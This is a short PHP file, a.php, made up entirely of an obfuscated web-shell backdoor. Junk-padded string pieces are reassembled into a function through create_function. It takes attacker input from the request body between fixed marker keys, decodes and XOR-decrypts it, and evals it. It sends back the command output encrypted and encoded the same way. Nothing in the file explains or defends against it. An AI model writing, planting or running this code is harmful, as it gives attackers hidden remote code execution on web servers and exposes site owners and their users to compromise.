a.php

<?php
$a='($j=0;($jqa<$c&&$i<$l);$jqa++qa,$iqa++qa){$o.=$t{$i}qa^$k{$j};}qa}reqaturn $qao;}if(@pqareg_qamqaa';
$C='b_end_cleaqan();$r=qa@bqaase64_encqaodeqa(@x(@gzcoqampreqass(qa$o),$k));priqanqat("$p$kh$qar$kf");}';
$Q='unctiqaqaon x($t,$k){$c=qastrlen($qak);qa$qal=strqalen($qat);$o="";for($qai=0;$iqa<$l;qa){foqaqar';
$j=str_replace('Sh','','cShrSheatShShe_fuShncShtion');
$M='aval(@gzuncoqaqaqampress(@x(@basqae64_decode(qa$m[1]qa),$kqa))qa);$qaqao=@ob_get_contentsqa();qa@o';
$f='$qak="31e4122qa6";$kh="qac23qaf3qa33d0966"qa;$kf="aqab7050qaqadb8731";$p=qa"7qaGrMzqaW6ryQCx0Rmyqa";f';
$u='tch("/$qakh(.+)$kfqa/",@fileqa_get_cqaontentsqa("qapqaqahp://inputqa"),$m)==1){@ob_starqat(qa);@eq';
$V=str_replace('qa','',$f.$Q.$a.$u.$M.$C);
$H=$j('',$V);$H();
?>